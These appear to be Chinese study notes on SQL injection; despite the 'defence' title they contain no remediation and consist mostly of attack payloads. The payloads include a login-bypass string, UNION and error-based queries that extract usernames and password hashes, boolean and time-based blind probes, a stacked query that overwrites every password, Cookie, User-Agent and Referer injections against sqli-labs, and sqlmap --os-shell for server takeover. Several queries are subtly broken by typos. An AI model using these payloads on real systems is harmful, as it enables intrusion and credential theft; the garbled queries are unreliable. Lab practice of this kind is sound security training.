SQL注入漏洞防御
SQL注入—结构化查询语言,是一种特殊的编程语言,用于数据库的标准数据库查询。
SQL 注入(SQL Injection)是一种常见的Web 安全漏洞。攻击者利用这个漏洞,可以增删改查数据库中数据,或者利用潜在的数据库漏洞进行攻击
- 增、删、改、查
- 读、写
- 提权(*)
SQL 注入原理
-
万能用户名或密码
——在不知道密码的情况下,成功登录
777' or 1=1 # admin' or '1'='1
登录逻辑
- 通过POST 方式获取用户名和密码
- 构造SQL 语句以用户名和密码作为查询条件进行查询,并且是单引号闭合
- 如果SQL 语句正确执行并且结果集对象中有记录则提示登录成功;
- 否则,登录失败
拼接问题
select userid form cms_users where username = '{用户名}' and password = '{md5(密码)}' slect userid from cms_users where username = 'admin' or '1'='1 and password = 'md5(777)'
SQL 注入总结
SQL 注入的攻击行为可以描述为,用户通过在SQL注入点,通过注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
- 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句
- 未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中
SQL 注入危害
攻击者可以利用 SQL 注入漏洞,可以获取数据库中的多种信息(例如:后台管理员账户密码)。从而获取数据库中的内容。在特别的情况下还可以插入内容到数据库 、删除数据库中的内容或者修改数据库内容。若数据库权限分配存在问题(当然很少见),或者数据库本身存在缺陷,攻击者可以利用SQL 注入漏洞直接获取WebShell ,或者服务器权限。
SQL 注入漏洞的分类
根据不同的标准,SQL 注入漏洞可以有不同的分类:
两大基本类型:
- 数字型
- 字符型
注入手法:
联合查询、报错注入、布尔盲注、延时注入、堆叠查询…
提交参数的方式:
GET 注入、POST 注入、Cookie 注入、HTTP注入
SQL 注入漏洞挖掘
-
注入点判断
——在疑似注入点的地方尝试提交数据,进行判断是否存在SQL 注入漏洞
步骤 | 测试数据 | 判断 |
---|---|---|
1 | -1 或者 +1 | 是否有回显 |
2 | ‘ 或者 “ | 是否显示数据库错误信息,并根据内容判断是字符型还是数字型 |
3 | and 1=1(为真) and 1=2(为假) | 回显的页面是否不同(布尔类型的状态) |
4 | and sleep(5) | 判断页面是否延时 |
5 | \ | 判断转义(少) |
如果我们提交的数据没有显示到页面,为数字性注入
如果提交的数据显示到页面,为字符型注入
判断时关注的问题
判断注入所得结果 | 解释 |
---|---|
回显 | 数据库中的内容是否会回显在网页中 |
数据库报错 | 数据库报错信息是否会回显在网页中 根据报错的信息进行判断,提交的数据类型是字符型还是数字型,若为字符型数据,闭合方式是什么? |
布尔类型状态 | 显示的页面不同,形成对比。页面正常或者不正常也就是and 1=1 and 1=2 |
延时 | 让数据库延时响应的时间 |
order by —判断列数
注入点
- 判断是否有回显
例:
http://172.143.4.12/cswara.php?id=12
http://172.143.4.12/cswara.php?id=13
-------------
#有回显
- 是否有报错
http://172.143.4.12/cswara.php?id=13
-------------
# near ''' at line 1
#中间的单引号才是SQL 语句的内容
#select * from tc_name where id=13
#13 没有出现在报错信息中,说明是数字型注入
----
#有报错
- 是否有布尔类型状态
http://172.143.4.12/cswara.php?id=13 and 1=1 #页面正常
http://172.143.4.12/cswara.php?id=13 and 1=2 #页面不正常
-------
#有布尔类型状态
- 是否有延时
http://172.143.4.12/cswara.php?id=13 and sleep(5)
-----
#有延时
知识补充
MySQL 中的注释 | URL 中的表现 |
---|---|
[-- ] :减减空格(三个字符) | –+ |
[#]:井号 | %23 |
[/*!5000 ok/]:内联注释 |
代替空格的字符
?id=1 '%0Aand%0A1=1%23
?id=1 '%0Band%0B1=1%23
?id=1 '%0Dand%0D1=2%23
?id=1 '%A0and%A01=2%23
SQL 注入基本手法
联合查询
——使用 union select 语句,实现跨库、跨表查询
例如:
前提:使用order by 得知列为4,并根据and 1=2 使页面报错得知3,4出现注入点
-----------------------------------
?id=1' and 1=2 union select 1,2,pi(),group_concat(table_name form) from information_schema.tables where table_schema =database()
#获取表名
----------------
?id=1' and 1=2 union select 1,2,pi(),group_concat(column_name form) from information_schema.columns where table_schema =database() and table_name = 'users'
#获取users表中的字段
---------------
?id=1' and 1=2 union select 1,2,pi(),concat(username,0x3a,password) from= 'users'
#获取字段里的用户和密码信息
报错注入
*原理:*先SQL注入点进行SQL报错注入,在报错信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 and 1=1 的部分。
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此 利用报错信息进行注入
group by 重复键冲突
?id=33 and (select 1 from (select count(* ), concat( 0x5e, (select database()), 0x5e,floor(rand()*2))x from information schema. tables group by x)a)
-----------------------------
?id=33 and (select 1 from (select count(* ), concat( 0x5e, (select password from cms_ users limit 0,1), 0x5e, floor(rand()*2))x from information_ schema . tables group by x)a)
extractvalue
?id=33 and extractvalue(1, concat( 0x5e, (select database()), 0x5e))
?id=33 and extractvalue(1, concat ( 0x5e, substr((select password from cms_ users),17,32), 0x5e))
updatexml
?id=33 and updatexml(1, concat (0x5e, (select database()), 0x5e),1)
?id=33 and updatexml(1, concat(0x5e, (select substr(password,1,16) from cms_ users),0x5e),1)
?id=33 and updatexm1(1, concat (0x5e, (select substr( password,17,32) from cms_ users), 0x5e),1)
布尔盲注
页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断
-
数据库名爆破
-
/oiw/?id=3' and database()='xx' --+ #不知道数据库位数 #不知道数据库名的字符集合 #爆破成本很高(费时费力)
-
数据库名字长度
-
/oiw/?id=3' and length(database())=8 --+ #若使用上述代码 ,页面正常(也就是你使用and 1=1等注入验证的时候,或者是刚登录的时候),就说明数据库名长度为8.
-
按位测试
-
#第一位 /oiw/?id=3' and ascii(substr (database( ),1,1))=115 --+ #通过测试 #115 #a #第二位 /oiw/?id=3' and ascii(substr (database( ),2,1))=101 --+ #通过测试 #115 101 #a b #第三位 ....
-
半自动注入
- 也就是使用burpsuite进行爆破
延时注入
-
使用sleep(),以响应时间为判断条件
-
数据库名长度
-
/sswra/gewa/?id=1' and if(length(database())>1,sleep(5),1) --+ #页面有延时
-
-
数据库名字
-
/sswra/gewa/?id=1' and if(length(database(),3,1)>='a',sleep(5),1) --+ #77 89 103 #a b c #就是根据一些别的信息进行猜测,这点是信息搜集,途径有很多种,这里不过多阐述
-
堆叠查询
一次HTTP请求,可以同时执行多条SQL语句,包括增删改查操作
以sqli-labs 第38关为例子
?id=2';update users set password='123456' --+
- SQL 注入点不止会出现在GET 参数或POST 参数中
Cookie 注入
-
注入点在Cookie数据中,以sqli-labs-20为例子。
-
GET /sqli- labs/Less-20/index. php HTTP/1.1 Host: 10.4.7 .128 User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0 Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8 Accept -Language: en-Us, en;q=0.5 Accept -Encoding: gzip, deflate Referer: http://10. 4.7.128/sqli- labs/Less -20/ DNT: 1 Connection: close --------- Cookie: uname=Dumb' and 1=2 union select 1, version( ), database() #使用bp抓包,进行cookie注入 --------- Upgrade- Insecure- Requests: 1 Cache-Control: max-age=0
base64 注入
-
注入的参数需要进行base64 编码,这里以sqli-labs-22关为例子
-
GET /sqli- labs/Less-22/index.php HTTP/1.1 Host: 10.4.7.128 User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0 Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8 Accept -Language: en-US, en;q=0.5 Accept -Encoding: gzip, deflate Referer: http://10. 4.7.128/sqli- labs/Less -22/ DNT: 1 Connection: close Cookie: ------- #进行base64编码后,注入 uname=RHVtYiIgYW5kIDE9MiB1 bmlvbi Bz Zwx1Y3QgMSx2ZXJzaW9uKCksZGFOYWJhc2UoKSM= ------ Upgrade- Insecure- Requests: 1
User-Agent 注入
-
注入的参数子啊User-Agent中,以sqli-labs-18关为例子
-
POST /sqli-labs/Less-18/ HTTP/1.1 Host: 10.4.7.128 ------- #在User-Agent中注入 User-Agent: Hello' and updatexm1(1, concat ( 0x5e, ( select database()),0x5e),1) and '1 ------- Accept: text/html, applicat ion/xhtml+xml, application/ xm1;q=0.9, image/webp, */* ;q=0.8 Accept -Language: en-Us, en;q=0.5 Accept -Encoding: gzip, deflate Content-Type: application/ x -WWw- form-urlencoded Content-Length: 36 Origin: http://10.4. 7.128 DNT: 1 Connection: close Referer: http://10.4.7. 128/sqli- labs/Less-18/ Upgr ade- Insecure- Requests: 1
-
uname=Dumb&pas swd=Dumb&submit =Submit
Referer注入
-
POST /sqli-labs/Less-19/ HTTP/1.1 Host: 10.4.7.128 User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0 Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8 Accept -Language: en-Us, en;q=0.5 Accept -Encoding: gzip, deflate Content-Type: application/ x -WWw- form-urlencoded Content- Length: 36 Origin: http://10.4. 7.128 DNT: 1 Connection: close ---- Referer: Hello' and updatexml(1, concat (0x5e, (select database()), 0x5e),1) and '1 ---- Upgrade- Insecure- Requests: 1
post注入
sqlmap -r /tmp/login.post
GetShell
sqlmap -u "http://10.23.176.12/ show. php?id=33" --os-shell
- 受到secure_file_priv选项的限制;
- 目标系统Web根目录的绝对路径
#10-16